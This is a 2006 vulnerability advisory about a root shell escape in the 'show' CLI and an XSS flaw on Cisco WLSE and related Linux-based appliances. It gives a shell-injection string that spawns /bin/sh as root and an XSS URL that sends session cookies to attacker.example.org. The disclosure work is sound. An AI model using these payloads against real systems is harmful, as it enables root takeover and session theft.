Multiple vulnerabilities in Linux based Cisco products

Assurance.com.au - Vulnerability Advisory

Release Date:
19-Apr-2006

Software:
Cisco Wireless Lan Solution Engine (WLSE)
Cisco Hosting Solution Engine (HSE)
Cisco Ethernet Subscriber Solution Engine (ESSE)
Cisco User Registration Tool (URT)
CiscoWorks2000 Service Management Solution (SMS)
Cisco Vlan Policy Server (VPS)
Cisco Management Engine (ME1100 Series)
CiscoWorks Service Level Manager (SLM)

Vulnerabilities discovered:

(1) A Vulnerability in the CiscoWorks WLSE "show" CLI application allows
execution of arbitrary code as the root user.

(2) Cross-site scripting flaw allows session theft

Vulnerability impact of each:

(1) Medium - An authenticated user can gain root access to the Linux based
system

(2) Low - A targeted attack could lead to session theft and administrator
compromise

Vulnerability information

(1) The Cisco shell presents the administrator with a restricted set of
commands which includes a "show" application. The "show" application has
several vulnerabilities which allow an attacker to "break out" of the
shell and execute commands (including /bin/sh) as the root user.

 This "show" application has been in use on this Linux-based platform 
 build since 1999 and exists on several other Linux-based Cisco products.

Example:
An Administrator is logged into the Cisco WLSE via either Telnet or SSH.

admin@wlse: show version
(C) Copyright 2005 by Cisco Systems Inc.
WLSE 1130 Release 2.11FCS Thu Apr 14 00:09:56 UTC 2005
Device Limit = 2550
Build Version (67) Tue Mar 15 18:13:02 UTC 2005
Uptime: 2 days 3 hours 32 mins
Linux version 2.4.28-5_WLSEsmp ([email protected]) (gcc version 2.96 20000731
(Red Hat Linux 7.3 2.96-113)) #1 SMP Mon Jan 31 16:04:20 PST 2005
1130
Intel(R) CPU at 3065.897 Mhz with 3105924K bytes of memory.

admin@wlse: show syslog include ";/bin/sh -i;"

sh-2.05a# id
uid=0(root) gid=502(admin) groups=502(admin),500(enable)

At this point the administrator has root level access to the Linux-based
Cisco device.

(2) A cross-site scripting flaw exists in:
/wlse/configure/archive/archiveApplyDisplay.jsp
with the "displayMsg" parameter. This can be used to steal the JSP session
cookie, therefore giving a targeted attacker admin level access to the
system. Once the attacker has admin web GUI access to the system via the
XSS, they can then change the admin password or create a new admin user
(without requiring the admin password).

The attacker can then use the aforementioned "show cli" local root 
vulnerability to gain complete control of the Cisco Linux-Based system.

As with (1) above Telnet or SSH access is required to login with the 
newly created user with admin level access in order to exploit the 
"show cli" bug.

Example:
http://cisco-wlse.example.org/wlse/configure/archive/ \
archiveApplyDisplay.jsp?displayMsg=<script>document.location='http:// \
attacker.example.org?'+document.cookie</script>

The cookie posted to attacker.example.org includes the JSESSIONID token:
ORIG_URL=cisco-wlse.example.org; browser_tzoffset=-660; \
JSESSIONID=johjehk2h1; \
HSE_TKT=admin:1133234898:17e5187e228ab1546ac26ef4ecacf689

When combined with vulnerability (1), it allows a targeted attacker to gain
root access to the linux system.

Solution:
Cisco has released patches for the vulnerabilities.

References:
Assurance.com.au advisory
http://www.assurance.com.au/advisories/200604-cisco.txt

Cisco advisory note:
http://www.cisco.com/warp/public/707/cisco-sa-20060419-wlse.shtml

Cisco security response:
http://www.cisco.com/warp/public/707/cisco-sr-20060419-priv.shtml

Credit:
Adam Pointon of Assurance.com.au
http://www.assurance.com.au/

Disclosure timeline:
30-Dec-2005 - Discovered during configuration for a customer
29-Jan-2006 - Email sent to psirt[at]cisco.com with full technical details
31-Jan-2006 - Response received from Cisco psirt
01-Feb-2006 - Cisco advises bug reports have been opened for both issues
05-Apr-2006 - Cisco releases patches to Assurance.com.au for testing
19-Apr-2006 - Advisory released

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